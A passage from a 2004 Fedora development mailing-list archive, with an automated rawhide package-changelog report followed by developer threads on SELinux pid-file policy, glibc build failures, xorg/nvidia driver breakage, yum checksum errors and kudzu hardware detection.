Jeff Johnston 1.200400607.35 - Fix S/390 watchpoint support to work better under threading. * Fri Oct 01 2004 Jeff Johnston 1.200400607.34 - Fix thread_db_get_lwp to handle 2nd format ptids. gettext-0.14.1-10 ----------------- * Fri Oct 01 2004 Leon Ho - fix install_info - add gcc-java build requirement glibc-2.3.3-63 -------------- gnome-vfs2-2.8.1-5 ------------------ * Fri Oct 01 2004 David Zeuthen 2.8.1-5 - Build with hal patch hal-0.2.98.cvs20040929-3 ------------------------ * Fri Oct 01 2004 David Zeuthen 0.2.98.cvs20040929-3 - Fix a bug so libhal actually invoke callback functions when needed hotplug-2004_04_01-6 -------------------- * Fri Oct 01 2004 Bill Nottingham 3:2004_04_01-6 - move /etc/hotplug/blacklist to hwdata hwbrowser-0.18-2 ---------------- * Fri Oct 01 2004 Nils Philippsen 0.18-1 - pick up updated translations - byte-compile python files - Change files list to avoid wildcard hwdata-0.140-1 -------------- * Fri Oct 01 2004 Bill Nottingham - 0.140-1 - include /etc/hotplug/blacklist here initscripts-7.86-1 ------------------ * Fri Oct 01 2004 Bill Nottingham - 7.86-1 - use /etc/hotplug/blacklist to blacklist modules in hardware init (#132719) - filter indic locales on the console (#134198) java-1.4.2-gcj-compat-1.4.2.0-9jpp ---------------------------------- * Fri Oct 01 2004 Thomas Fitzsimmons 0:1.4.2.0-9jpp - Change /usr/lib/jvm directory to java-1.4.2-gcj from java-1.4.2-gcj-compat. * Thu Sep 30 2004 Thomas Fitzsimmons 0:1.4.2.0-8jpp - Bump release number. joe-3.1-5 --------- * Fri Oct 01 2004 Lon Hohberger 3.1-5 - Fix UTF-8 decoding in help display (#134197) kudzu-1.1.92-1 -------------- * Fri Oct 01 2004 Bill Nottingham - 1.1.92-1 - add mapping for wacom (#132738) libselinux-1.17.13-3 -------------------- * Fri Oct 01 2004 Dan Walsh 1.17.13-3 - Change setenforce to accept Enforcing and Permissive mdadm-1.6.0-1 ------------- * Fri Oct 01 2004 Doug Ledford 1.6.0-1 - Update to newer upstream version - Make mdmpd work on kernels that don't have the event interface patch openoffice.org-1.1.2-7 ---------------------- * Fri Oct 01 2004 Dan Williams - 1.1.2-7 - Get BuildRequires right Should fix: 133741 (openoffice.org does not render chars properly in KDE) 133793 (Bad view of iso-8859-2 fonts in menu & dialogs) perl-5.8.5-6 ------------ * Mon Aug 23 2004 Chip Turner 3:5.8.5-2 - fix conflicting file when building on x86_64 and i386 * Sat Jul 24 2004 Chip Turner 3:5.8.5-1 - add Provides: Carp::Heavy to fix new dep error (bz 128507) * Thu Jul 22 2004 Chip Turner 3:5.8.5-1 - update to 5.8.5 policycoreutils-1.17.5-6 ------------------------ * Fri Oct 01 2004 Dan Walsh 1.17.5-6 - Add -e (exclude directory) switch to setfiles - Add syslog to setfiles prelink-0.3.2-10 ---------------- * Sat Oct 02 2004 Jakub Jelinek 0.3.2-10 - support for non-absolute blacklist glob patterns (e.g. -b *.la) - cache information about non-prelinkable files (non-ELF, statically linked, too small .dynamic, DT_TEXTREL with conflicts against it; #132056) - other speedups for prelink -aq - for --verify, make sure only read-only fd's are opened for the unprelinked temporary file, otherwise a kernel might ETXTBUSY on it (#133317) - change warning message if some object's dependencies can't be found - add buildrequires libselinux-devel and use %{_tmppath} instead of /var/tmp in Buildroot (#132879) redhat-artwork-0.109-1 ---------------------- * Fri Oct 01 2004 Jeremy Katz - 0.109-1 - Fix icon theme name * Thu Sep 30 2004 Than Ngo 0.108-1.1E - RHEL rebuild redhat-rpm-config-8.0.32-1 -------------------------- * Fri Oct 01 2004 Bill Nottingham 8.0.32-1 - allow all symbol versioning in find_requires - matches RPM internal behavior rhgb-0.13.5-1 ------------- * Fri Oct 01 2004 Daniel Veillard 0.13.5 - updated the localization strings rpmdb-fedora-2.92-0.20041002 ---------------------------- selinux-policy-strict-1.17.26-1 ------------------------------- * Fri Oct 01 2004 Dan Walsh 1.17.26-1 - Update with NSA selinux-policy-targeted-1.17.26-1 --------------------------------- * Fri Oct 01 2004 Dan Walsh 1.17.26-1 - Update with NSA setools-1.4.1-3 --------------- * Thu Jul 08 2004 Dan Walsh 1.4.1-3 - Fix directory ownership setuptool-1.17-2 ---------------- * Fri Oct 01 2004 Nalin Dahyabhai 1.17-2 - specify %{_bindir}/setup by name now instead of with a pattern * Fri Oct 01 2004 Nalin Dahyabhai 1.17-1 - refresh translations shadow-utils-4.0.3-30 --------------------- * Fri Oct 01 2004 Dan Walsh 2:4.0.3-30 - Add checkPasswdAccess for chage in SELinux switchdesk-4.0.6-3 ------------------ * Fri Oct 01 2004 Than Ngo 4.0.6-3 - update translations system-config-display-1.0.21-1 ------------------------------ * Fri Oct 01 2004 Paul Nasrat 1.0.21-1 - fix mouse traceback system-config-keyboard-1.2.4-1 ------------------------------ * Fri Oct 01 2004 Paul Nasrat - 1.2.4-1 - Translations system-config-kickstart-2.5.15-1 -------------------------------- * Fri Oct 01 2004 Paul Nasrat - 2.5.15-1 - Translations system-config-language-1.1.8-1 ------------------------------ * Fri Oct 01 2004 Paul Nasrat 1.1.8-1 - Indic UTF-8 locales - Translations system-config-mouse-1.2.9-1 --------------------------- * Fri Oct 01 2004 Paul Nasrat - 1.2.9-1 - Translations system-config-netboot-0.1.7-1 ----------------------------- * Fri Oct 01 2004 Dan Walsh 0.1.7-1 - Update languages * Thu Sep 30 2004 Dan Walsh 0.1.6-1 - Fix location of mkinstalldirs * Tue Sep 28 2004 Dan Walsh 0.1.5-1 - Cleanup rsync messages and replace RHEL3 with RHEL system-config-rootpassword-1.1.6-1 ---------------------------------- * Fri Oct 01 2004 Paul Nasrat 1.1.6-1 - Pull in translations system-config-securitylevel-1.4.7-1 ----------------------------------- * Fri Oct 01 2004 Paul Nasrat 1.4.7-1 - mDNS - Translations * Wed Sep 29 2004 Dan Walsh 1.4.6-1 - Fix handling of booleans system-config-services-0.8.10-1 ------------------------------- * Fri Oct 01 2004 Daniel J Walsh 0.8.10-1 - Update translations system-logviewer-0.9.11-1 ------------------------- * Fri Oct 01 2004 Paul Nasrat 0.9.11-1 - Latest Translations system-switch-mail-0.5.25-3 --------------------------- * Fri Oct 01 2004 Than Ngo 0.5.25-3 - update translation thunderbird-0.8.0-3 ------------------- * Fri Oct 01 2004 Bill Nottingham 0.8.0-3 - filter out library Provides: and internal Requires: udev-032-7 ---------- * Fri Oct 01 2004 Harald Hoyer - 032-7 - more device nodes for those without initrd From linux_4ever at yahoo.com Sat Oct 2 11:50:55 2004 From: linux_4ever at yahoo.com (Steve G) Date: Sat, 2 Oct 2004 04:50:55 -0700 (PDT) Subject: /var/run/directory/ In-Reply-To: <200410020405.28189.russell@coker.com.au> Message-ID: <20041002115055.95482.qmail@web50605.mail.yahoo.com> >Currently in the strict policy every daemon is permitted to create files >under /var/run. Can they not be limited to 1 well known file in selinux? >The problem is that a daemon which runs as root can (if >compromised) create /var/run files with the names used by other daemons if >the daemon is not running at the time. This interferes with stopping and >starting daemons. There are only 3 daemons that I can think of that need to be root: sshd, xinetd, crond. That's because they start programs targeted for various accts. Almost all other daemons should drop root pretty quick. Without being root, they cannot overwrite pid files. The only daemons that you have to worry about are the ones that stay as root. How many stay as root? >For daemons that run as non-root this also makes things easier for non-SE >systems as there is no need to create a pidfile such as /var/run/sm-client.pid >and chown it, I don't buy this. The code is already there. Are you thinking to rewrite how every daemon records its pid? Or just to change the name of the pid file? These are 2 entirely different scopes of a fix. >Can anyone think of a reason not to do this? Well, you will need to maintain a bunch of patches. The daemon, spec file (to create the /var/run/daemon dir), and initscripts will need adjusting. The end user wouldn't really notice it since this magic occurs under the hood. I just question the scope of the problem - meaning how many daemons fall into this category of retaining root. And why can't selinux limit a daemon to 1 file in the /var/run directory. That file should be well known. -Steve Grubb _______________________________ Do you Yahoo!? Declare Yourself - Register online to vote today! http://vote.yahoo.com From linux_4ever at yahoo.com Sat Oct 2 12:06:31 2004 From: linux_4ever at yahoo.com (Steve G) Date: Sat, 2 Oct 2004 05:06:31 -0700 (PDT) Subject: glibc 2.3.3-62 hangs during compile Message-ID: <20041002120631.51977.qmail@web50604.mail.yahoo.com> Hi, I tried the -62 release and it has the same problem as the -60 release. It never finishes compiling. This is what's recorded to stderr at the hang: + echo ====================TESTING NPTL LD.SO============== + cd build-i486-linuxnptl + mv elf/ld.so elf/ld.so.orig + cp -a ../build-i386-linux/elf/ld.so elf/ld.so + find . -name '*.out' -exec mv -f '{}' '{}.origldso' ';' + make -j2 -k check PARALLELMFLAGS=-s + tee check2.log The contents of check2.log are: g++: /dev/fd/63: No such file or directory g++: warning: `-x c++' after last input file has no effect g++: no input files scripts/check-c++-types.sh: line 7: 20139 Broken pipe cat < #include #include #include void foo ($t) { } EOF g++: /dev/fd/63: No such file or directory g++: warning: `-x c++' after last input file has no effect g++: no input files make[1]: *** [/home/build/working/BUILD/glibc-20041001T1134/build-i486-linuxnptl/c++-types-check.out] Error 1 make[1]: Target `check' not remade because of errors. make[1]: Leaving directory `/home/build/working/BUILD/glibc-20041001T1134' make: *** [check] Error 2 Any ideas? Thanks, -Steve Grubb _______________________________ Do you Yahoo!? Declare Yourself - Register online to vote today! http://vote.yahoo.com From carlos.efr at mail.telepac.pt Sat Oct 2 15:29:13 2004 From: carlos.efr at mail.telepac.pt (Carlos Rodrigues) Date: Sat, 02 Oct 2004 16:29:13 +0100 Subject: xorg crashes In-Reply-To: <20041001221032.GD17959@devserv.devel.redhat.com> References: <20040930231052.99138.qmail@web60708.mail.yahoo.com> <415C942E.9030609@mail.telepac.pt> <415D8460.3050300@hhs.nl> <415DBFAB.30108@mail.telepac.pt> <20041001221032.GD17959@devserv.devel.redhat.com> Message-ID: <415EC949.5030808@mail.telepac.pt> Alan Cox wrote: > Vesafb and the i8xx drivers are not compatible. Use the i810fb and you might > be ok. Generally mixing X framebuffer and console framebuffers is a bad idea > although the problem is now actually on the hitlist As I said, I don't have an i810 but an nvidia. But I have things running fine now, as I said in the bug report (https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=134289): "Hmmm, I guess I figured out what's the problem. I rolled back xorg to the version I had installed and... the problem persisted. I reinstalled the nvidia drivers, the problem went away. Well, I decided to upgrade again and see what was borking the drivers. nvidia-installer complained that the libGL.so symlink was pointing nowhere, and in fact, the upgrade has put it pointing to an unexisting library (maybe the one that comes with mesa, I didn't check and I don't have the xorg mesa package installed). By this time I was already pointing the finger at xorg for messing with the symlinks for no good reason. I fixed the symlink and rebooted (just to make sure) and it didn't fix it, but reinstalling the drivers did the job. In the end, I don't really know who to blame. "nvidia-installer --sanity" does not complain about anything else than the libGL symlink (which xorg wrongly breaks) but it still requires a reinstall to work. I will not close this bug because the symlink thing is still a bug in the xorg package (IMHO), but the rest I guess can't be pointed at xorg for lack of information." Carlos Rodrigues From casimiro_barreto at uol.com.br Sat Oct 2 15:33:01 2004 From: casimiro_barreto at uol.com.br (Casimiro de Almeida Barreto) Date: Sat, 02 Oct 2004 12:33:01 -0300 Subject: Problems with yum ? Message-ID: <415ECA2D.6080009@uol.com.br> Hello, Lately I've had this: [root at 200-170-106-105 Fedora]# yum --obsoletes update Setting up Update Process Setting up Repo: development repomd.xml 100% |=========================| 1.1 kB 00:00 Reading repository metadata in from local files developmen: ################################################## 3422/3422 Resolving Dependencies module-init-tools-3.1-0.p 100% |=========================| 19 kB 00:00 [root at 200-170-106-105 Fedora]# yum --obsoletes update Setting up Update Process Setting up Repo: development repomd.xml 100% |=========================| 1.1 kB 00:00 Reading repository metadata in from local files developmen: ################################################## 3422/3422 Resolving Dependencies fonts-xorg-base-6.7.99.90 100% |=========================| 54 kB 00:03 [root at 200-170-106-105 Fedora]# yum --obsoletes update Setting up Update Process Setting up Repo: development repomd.xml 100% |=========================| 1.1 kB 00:00 Reading repository metadata in from local files primary.xml.gz 100% |=========================| 925 kB 00:41 repodata/primary.xml.gz: [Errno -1] Metadata file does not match checksum Error: failure: repodata/primary.xml.gz from development: [Errno 256] No more mirrors to try. [root at 200-170-106-105 Fedora]# As this kind of problem has not been reported in this list, am I alone on this problem or have someone else faced this ? Regards, Casimiro -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 256 bytes Desc: OpenPGP digital signature URL: From johnp at redhat.com Sat Oct 2 16:04:19 2004 From: johnp at redhat.com (John (J5) Palmieri) Date: Sat, 02 Oct 2004 12:04:19 -0400 Subject: rawhide report: 20041001 changes -- dbus issue In-Reply-To: <1096652953.5872.4.camel@localhost.localdomain> References: <200410011231.i91CVZB31574@porkchop.devel.redhat.com> <1096651926.4257.29.camel@rhbw.boston.redhat.com> <1096652953.5872.4.camel@localhost.localdomain> Message-ID: <1096733059.5264.3.camel@localhost.localdomain> On Fri, 2004-10-01 at 13:49, Joel Rittvo wrote: > After this morning's updates . . . > > >From boot.log: > > Oct 1 13:35:33 LINUX readahead: Starting background readahead: > Oct 1 13:35:33 LINUX rc: Starting readahead: succeeded > Oct 1 13:35:35 LINUX dbus-daemon-1: Unknown username "root" in message > bus configuration file > Oct 1 13:35:35 LINUX messagebus: messagebus startup failed > Oct 1 13:35:37 LINUX cups-config-daemon: > Oct 1 13:35:37 LINUX cups-config-daemon: ** (process:4733): WARNING **: > DbusConfigDaemon: Failed to connect to > socket /var/run/dbus/system_bus_socket: No such file or directory > Oct 1 13:35:37 LINUX cups-config-daemon: cups-config-daemon startup > succeeded > Oct 1 13:35:38 LINUX haldaemon: haldaemon startup succeeded > Oct 1 13:35:43 LINUX rc: Starting webmin: succeeded > > Finishes booting and runs fine as far as I can tell. I don't have a > printer set up yet -- maybe that has something to do with this? > > Joel Rittvo This was a bug in glibc code which cause dbus to abort in a part of the code that uses the affected function. It has been fixed and built into the latest rawhide. Thanks. -- J5 From tamaster at pobox.com Sat Oct 2 18:01:08 2004 From: tamaster at pobox.com (Tamaster) Date: Sat, 02 Oct 2004 13:01:08 -0500 Subject: Self-Inroduction: Greg Houlette Message-ID: <1096702870.32322.159.camel@mystra.mil_smarthomes> Gregory L Houlette USA, Marengo, Indiana Technologist, Engineer Tek Armory, LLC I am starting a network security consulting business and have been scouring the Internet for good, flexible, lightweight solutions to the problems faced by the Linux computer users among my customers. Since I run Fedora, it makes sense to share those tools that I have found to be useful to me (whenever possible). Along the way, I may eventually need to develop some custom tools that are reasonable to publish via the GPL and also create Fedora RPM packages for sharing with other linux users as well. Since I have over 20 years experience as a programmer (mostly 'bare metal' peripheral device driver and diagnostic test code) I am well acquainted with regression testing and other aspects of SW QA, and can contribute (time permitting) to code review, testing and patch development. Most of the projects I have worked on over the years were buried deep within the companies that I worked for (such as, most recently, Quantum corporation which at one time was the largest desktop disk drive manufacturer in the world). I am FLUENT in assembler, pretty darn good with C and shell script (learning Perl slowly) and have a deep understanding of the way computers *_REALLY_* work inside at the bit level (I just don't get excited about languages anymore). On the issue of trust (a subject near and dear to my heart) I've always subscribed to the belief that it must be earned, not taken. I can only say that since information security is going to be my livelihood for the foreseeable future (the last time I changed my 'vocation' was almost 25 years ago, so I don't swap career paths without a whole lot of thought) it makes sense to develop a good reserve of "reputation capital" in what I do here and elsewhere. I guess from your standpoint, you'll just have to wait and see... In the mean time, I've been working with Michael Boelen (author of Rootkit Hunter) to get an RPM rolled up for submission. Michael has created, what I believe to be, a very useful host-based tool for the scanning of *n[i|u]x and BSD boxes for rootkits. You can find his website here: http://www.rootkit.nl/ And here are the files I will be submitting to QA testing and making a Bugzilla entry for: http://home.earthlink.net/~tamaster/sitebuildercontent/ sitebuilderfiles/rkhunter-1.1.8-0.fdr.0.1.beta1.src.rpm http://home.earthlink.net/~tamaster/sitebuildercontent/ sitebuilderfiles/rkhunter-1.1.8-0.fdr.0.1.beta1-signed.md5 Tomorrow... Must Sleep... ~~ pub 1024D/BC275410 2004-05-12 Greg Houlette (Tek Armory, LLC) Key fingerprint = 6ED2 F28B EE8B 8EA7 56E9 8F28 62BC 67F9 BC27 5410 uid Tamaster (Tek Armory Master Chef) uid Tamaster (Tek Armory Master Chef) Google this: Greg Houlette Y2K power down -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From paul at dishone.st Sat Oct 2 18:28:18 2004 From: paul at dishone.st (Paul Jakma) Date: Sat, 2 Oct 2004 19:28:18 +0100 (IST) Subject: What to do about libc-client (imap)? In-Reply-To: <414E5DBE.1090208@redhat.com> References: <414E5DBE.1090208@redhat.com> Message-ID: On Sun, 19 Sep 2004, Warren Togami wrote: > But why do we keep php-imap? NOTHING we ship uses it. > squirrelmail long ago decided php-imap was unreliable and made > their own implementation. > > Our forced attempts to get rid of imap in FC2 were done in a > confusing manner which remains both a support burden for us, and a > huge point of frustration to users. [1] To make matters worse, > 'libc-client' is a confusing name which is too similar to 'glibc', > and meaningless to all developers. > > Is this really worth more years of headache? Here are two > proposals to deal with this. As a 'user' of c-lib (via PINE, not shipped in FC), I'd say the uwimap-libs makes most sense. Indeed, remove it all together. As an aside, is there any /decent/ C IMAP client library out there? regards, -- Paul Jakma paul at clubi.ie paul at jakma.org Key ID: 64A2FF6A Fortune: The hardest thing is to disguise your feelings when you put a lot of relatives on the train for home. From steve at silug.org Sat Oct 2 18:59:11 2004 From: steve at silug.org (Steven Pritchard) Date: Sat, 2 Oct 2004 13:59:11 -0500 Subject: rawhide report: 20041001 changes In-Reply-To: <1096716616.2690.0.camel@kyrre> References: <200410011231.i91CVZB31574@porkchop.devel.redhat.com> <1096634293.2693.191.camel@kyrre> <1096637776.18711.1.camel@dcbw.boston.redhat.com> <1096640819.4157.43.camel@marte.biciclete.ro> <415D6B49.8000700@math.unl.edu> <1096678714.4557.14.camel@nexus.verbum.private> <1096716616.2690.0.camel@kyrre> Message-ID: <20041002185911.GA7852@osiris.silug.org> On Sat, Oct 02, 2004 at 01:30:17PM +0200, Kyrre Ness Sjobak wrote: > And the fedora non-free / contrib chanel is extras, and non-us is linva? non-us is livna, but Extras (fedora.us) is more free stuff. non-free is left to others. Steve -- Steven Pritchard - K&S Pritchard Enterprises, Inc. Email: steve at kspei.com http://www.kspei.com/ Phone: (618)398-3000 Mobile: (618)567-7320 From terraformers at gmx.net Sat Oct 2 19:40:29 2004 From: terraformers at gmx.net (Lars) Date: Sat, 02 Oct 2004 21:40:29 +0200 Subject: rawhide report: 20041002 changes References: <200410021149.i92Bnn802608@porkchop.devel.redhat.com> Message-ID: Build System wrote: > udev-032-7 > ---------- > * Fri Oct 01 2004 Harald Hoyer - 032-7 > > - more device nodes for those without initrd > hi udev says: MAKEDEV: error... /dev/log address already in use. nevertheless it boots ok. lars From hp at redhat.com Sat Oct 2 22:33:48 2004 From: hp at redhat.com (Havoc Pennington) Date: Sat, 02 Oct 2004 18:33:48 -0400 Subject: "Stateless Linux" project In-Reply-To: <200410020055.35819.russell@coker.com.au> References: <200409151443.i8FEhwp07789@ayesha.phys.Virginia.EDU> <200410020055.35819.russell@coker.com.au> Message-ID: <1096756428.4452.332.camel@localhost.localdomain> On Sat, 2004-10-02 at 00:55 +1000, Russell Coker wrote: > > > Moving out of user space, and requiring some of development, you > > could have the kernel's VFS layer generate a notice, maybe via DBUS, > > whenever a file changes. It'd be nice to be able to turn this on only > > This has some awkward possibilities. I can imagine DBUS changing a file, > causing a notification which then makes DBUS change a file... We've already been there and done that a few times (hint, don't write to a log file when you get file change notifications... ;-)) Anyway, it can be managed. Havoc From giallu at gmail.com Sat Oct 2 22:34:10 2004 From: giallu at gmail.com (Gianluca Sforna) Date: Sun, 3 Oct 2004 00:34:10 +0200 Subject: xorg crashes In-Reply-To: <415EC949.5030808@mail.telepac.pt> References: <20040930231052.99138.qmail@web60708.mail.yahoo.com> <415C942E.9030609@mail.telepac.pt> <415D8460.3050300@hhs.nl> <415DBFAB.30108@mail.telepac.pt> <20041001221032.GD17959@devserv.devel.redhat.com> <415EC949.5030808@mail.telepac.pt> Message-ID: On Sat, 02 Oct 2004 16:29:13 +0100, Carlos Rodrigues wrote: > In the end, I don't really know who to blame. "nvidia-installer > --sanity" does not complain about anything else than the libGL symlink > (which xorg wrongly breaks) but it still requires a reinstall to work. > > I will not close this bug because the symlink thing is still a bug in > the xorg package (IMHO), but the rest I guess can't be pointed at xorg > for lack of information." > Maybe you can consider installing the nvidia drivers through yum, I found this way safer and easier. At least what you get is a package that is (or should be) consistent with the rest of the system, so updates are not supposed to break the configuration. From skvidal at phy.duke.edu Sun Oct 3 04:22:55 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Sun, 03 Oct 2004 00:22:55 -0400 Subject: Problems with yum ? In-Reply-To: <415ECA2D.6080009@uol.com.br> References: <415ECA2D.6080009@uol.com.br> Message-ID: <1096777375.30642.24.camel@binkley> > [root at 200-170-106-105 Fedora]# yum --obsoletes update > Setting up Update Process > Setting up Repo: development > repomd.xml 100% |=========================| 1.1 kB 00:00 > Reading repository metadata in from local files > developmen: ################################################## 3422/3422 > Resolving Dependencies > module-init-tools-3.1-0.p 100% |=========================| 19 kB 00:00 If you can get this to happen still I would love for you to run: strace -o /tmp/somefile.out yum --obsoletes update and attach somefile.out to a bugzilla report. > [root at 200-170-106-105 Fedora]# yum --obsoletes update > Setting up Update Process > Setting up Repo: development > repomd.xml 100% |=========================| 1.1 kB 00:00 > Reading repository metadata in from local files > primary.xml.gz 100% |=========================| 925 kB 00:41 > repodata/primary.xml.gz: [Errno -1] Metadata file does not match checksum > Error: failure: repodata/primary.xml.gz from development: [Errno 256] No > more mirrors to try. > [root at 200-170-106-105 Fedora]# > Now, this last one is a correct error, It's saying it downloaded the primary.xml.gz file and it doesn't match the checksum in repomd.xml - that's not a yum error, that's a repository inconsistency or a download failure. -sv From dragoran at feuerpokemon.de Sun Oct 3 08:14:03 2004 From: dragoran at feuerpokemon.de (dragoran) Date: Sun, 03 Oct 2004 10:14:03 +0200 Subject: kudzu bug? Message-ID: <415FB4CB.6050504@feuerpokemon.de> I installed a pinnacle tv card on my fc2 box and kudzu hasn't found it. I works fine by loading the saa7134 module manulaly. I am not sure if this is a bug or not. Does kudzu probe for tv cards? From feliciano.matias at free.fr Sun Oct 3 08:49:58 2004 From: feliciano.matias at free.fr (Matias Feliciano) Date: Sun, 03 Oct 2004 10:49:58 +0200 Subject: kudzu bug? In-Reply-To: <415FB4CB.6050504@feuerpokemon.de> References: <415FB4CB.6050504@feuerpokemon.de> Message-ID: <1096793397.7688.4.camel@localhost.localdomain> Le dim 03/10/2004 ? 10:14, dragoran a ?crit : > I installed a pinnacle tv card on my fc2 box and kudzu hasn't found it. > I works fine by loading the saa7134 module manulaly. > I am not sure if this is a bug or not. Does kudzu probe for tv cards? Here kudzu probe bttv (bt848 card). $ kmodule ... CAPTURE bttv -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e. URL: From dragoran at feuerpokemon.de Sun Oct 3 09:01:15 2004 From: dragoran at feuerpokemon.de (dragoran) Date: Sun, 03 Oct 2004 11:01:15 +0200 Subject: kudzu bug? In-Reply-To: <1096793397.7688.4.camel@localhost.localdomain> References: <415FB4CB.6050504@feuerpokemon.de> <1096793397.7688.4.camel@localhost.localdomain> Message-ID: <415FBFDB.8030903@feuerpokemon.de> Matias Feliciano schrieb: >Le dim 03/10/2004 ? 10:14, dragoran a ?crit : > > >>I installed a pinnacle tv card on my fc2 box and kudzu hasn't found it. >>I works fine by loading the saa7134 module manulaly. >>I am not sure if this is a bug or not. Does kudzu probe for tv cards? >> >> > >Here kudzu probe bttv (bt848 card). >$ kmodule >... >CAPTURE bttv > > does this mean that i should report this in bugzilla? From wtogami at redhat.com Sun Oct 3 09:01:46 2004 From: wtogami at redhat.com (Warren Togami) Date: Sat, 02 Oct 2004 23:01:46 -1000 Subject: kudzu bug? In-Reply-To: <415FB4CB.6050504@feuerpokemon.de> References: <415FB4CB.6050504@feuerpokemon.de> Message-ID: <415FBFFA.6050301@redhat.com> dragoran wrote: > I installed a pinnacle tv card on my fc2 box and kudzu hasn't found it. > I works fine by loading the saa7134 module manulaly. > I am not sure if this is a bug or not. Does kudzu probe for tv cards? > http://fedora.linux.duke.edu/wiki/PostIsOffTopic From feliciano.matias at free.fr Sun Oct 3 10:09:59 2004 From: feliciano.matias at free.fr (Matias Feliciano) Date: Sun, 03 Oct 2004 12:09:59 +0200 Subject: kudzu bug? In-Reply-To: <415FBFDB.8030903@feuerpokemon.de> References: <415FB4CB.6050504@feuerpokemon.de> <1096793397.7688.4.camel@localhost.localdomain> <415FBFDB.8030903@feuerpokemon.de> Message-ID: <1096798198.7688.15.camel@localhost.localdomain> Le dim 03/10/2004 ? 11:01, dragoran a ?crit : > does this mean that i should report this in bugzilla? Seems yes (perhaps in hwdata component). btw, it's offtopic here as Warren Togami pointed out. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e. URL: From kyrre at solution-forge.net Sun Oct 3 11:33:37 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Sun, 03 Oct 2004 13:33:37 +0200 Subject: rawhide report: 20041001 changes In-Reply-To: <20041002185911.GA7852@osiris.silug.org> References: <200410011231.i91CVZB31574@porkchop.devel.redhat.com> <1096634293.2693.191.camel@kyrre> <1096637776.18711.1.camel@dcbw.boston.redhat.com> <1096640819.4157.43.camel@marte.biciclete.ro> <415D6B49.8000700@math.unl.edu> <1096678714.4557.14.camel@nexus.verbum.private> <1096716616.2690.0.camel@kyrre> <20041002185911.GA7852@osiris.silug.org> Message-ID: <1096803216.2722.2.camel@kyrre> Okay.. just wondering. As far as i understand - fedora.us requires fedora core to operate correctly, and livna requires fedora.us What repositories are compatible with those, and provides non-free? Ie. which repo whould contain ex. Opera? Just being curious. Kyrre l?r, 02.10.2004 kl. 20.59 skrev Steven Pritchard: > On Sat, Oct 02, 2004 at 01:30:17PM +0200, Kyrre Ness Sjobak wrote: > > And the fedora non-free / contrib chanel is extras, and non-us is linva? > > non-us is livna, but Extras (fedora.us) is more free stuff. non-free > is left to others. > > Steve > -- > Steven Pritchard - K&S Pritchard Enterprises, Inc. > Email: steve at kspei.com http://www.kspei.com/ > Phone: (618)398-3000 Mobile: (618)567-7320 From buildsys at redhat.com Sun Oct 3 11:49:36 2004 From: buildsys at redhat.com (Build System) Date: Sun, 3 Oct 2004 07:49:36 -0400 Subject: rawhide report: 20041003 changes Message-ID: <200410031149.i93Bnab07430@porkchop.devel.redhat.com> Updated Packages: rpmdb-fedora-2.92-0.20041003 ---------------------------- sed-4.1.2-3 ----------- * Sat Oct 02 2004 Jakub Jelinek 4.1.2-3 - add sedfaq.txt to /usr/share/doc (#16202) From ufo at linux.net.mk Sun Oct 3 13:58:40 2004 From: ufo at linux.net.mk (Arangel Angov) Date: Sun, 03 Oct 2004 15:58:40 +0200 Subject: How to make a custom Fedora bootable CD? Message-ID: <41600590.2070705@linux.net.mk> I wanted to make one bootable installation cd with the things I want from fedora. Asked google, but didn't found much. I also tried some forums of projects that have working custom bootable fedora based distro's but I can't seem to find proper documentation on how this is done. Does it involve kickstart configuration files and where everything goes? Is there a document that somebody could recommend for this? Thanks in advance. Arangel From walters at redhat.com Sun Oct 3 15:08:05 2004 From: walters at redhat.com (Colin Walters) Date: Sun, 03 Oct 2004 11:08:05 -0400 Subject: /var/run/directory/ In-Reply-To: <20041002115055.95482.qmail@web50605.mail.yahoo.com> References: <20041002115055.95482.qmail@web50605.mail.yahoo.com> Message-ID: <1096816085.15534.12.camel@nexus.verbum.private> On Sat, 2004-10-02 at 04:50 -0700, Steve G wrote: > >Currently in the strict policy every daemon is permitted to create files > >under /var/run. > > Can they not be limited to 1 well known file in selinux? No; the kernel doesn't have any idea of particular file names. You can however in SELinux specify a specific type to be used for a new inode created in a particular directory (currently it inherits the same type). But simply creating a directory for each daemon which is labeled by RPM installation should work. > >The problem is that a daemon which runs as root can (if > >compromised) create /var/run files with the names used by other daemons if > >the daemon is not running at the time. This interferes with stopping and > >starting daemons. > > There are only 3 daemons that I can think of that need to be root: sshd, xinetd, > crond. That's because they start programs targeted for various accts. Almost all > other daemons should drop root pretty quick. Without being root, they cannot > overwrite pid files. It can be a very significant amount of work to change a daemon to run as non-root, like dhcpcd. Also you can't fix third-party apps. And you still reduce the problem to just a few instead of solving it. > >For daemons that run as non-root this also makes things easier for non-SE > >systems as there is no need to create a pidfile such as /var/run/sm-client.pid > >and chown it, > > I don't buy this. The code is already there. Are you thinking to rewrite how > every daemon records its pid? Most of them should hopefully be configurable. > >Can anyone think of a reason not to do this? > > Well, you will need to maintain a bunch of patches. Our initscripts already represent a delta from upstream, this wouldn't be that large relative to the current delta. > I just question the scope of the problem - meaning how many daemons fall into > this category of retaining root. There's still the general problem with discretionary access control here too - A simple misconfiguration in for one of the daemons before it drops root privileges could cause it to overwrite the pid file for another daemon, violating the system security policy. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From steve at silug.org Sun Oct 3 16:35:12 2004 From: steve at silug.org (Steven Pritchard) Date: Sun, 3 Oct 2004 11:35:12 -0500 Subject: rawhide report: 20041001 changes In-Reply-To: <1096803216.2722.2.camel@kyrre> References: <200410011231.i91CVZB31574@porkchop.devel.redhat.com> <1096634293.2693.191.camel@kyrre> <1096637776.18711.1.camel@dcbw.boston.redhat.com> <1096640819.4157.43.camel@marte.biciclete.ro> <415D6B49.8000700@math.unl.edu> <1096678714.4557.14.camel@nexus.verbum.private> <1096716616.2690.0.camel@kyrre> <20041002185911.GA7852@osiris.silug.org> <1096803216.2722.2.camel@kyrre> Message-ID: <20041003163512.GA16674@osiris.silug.org> On Sun, Oct 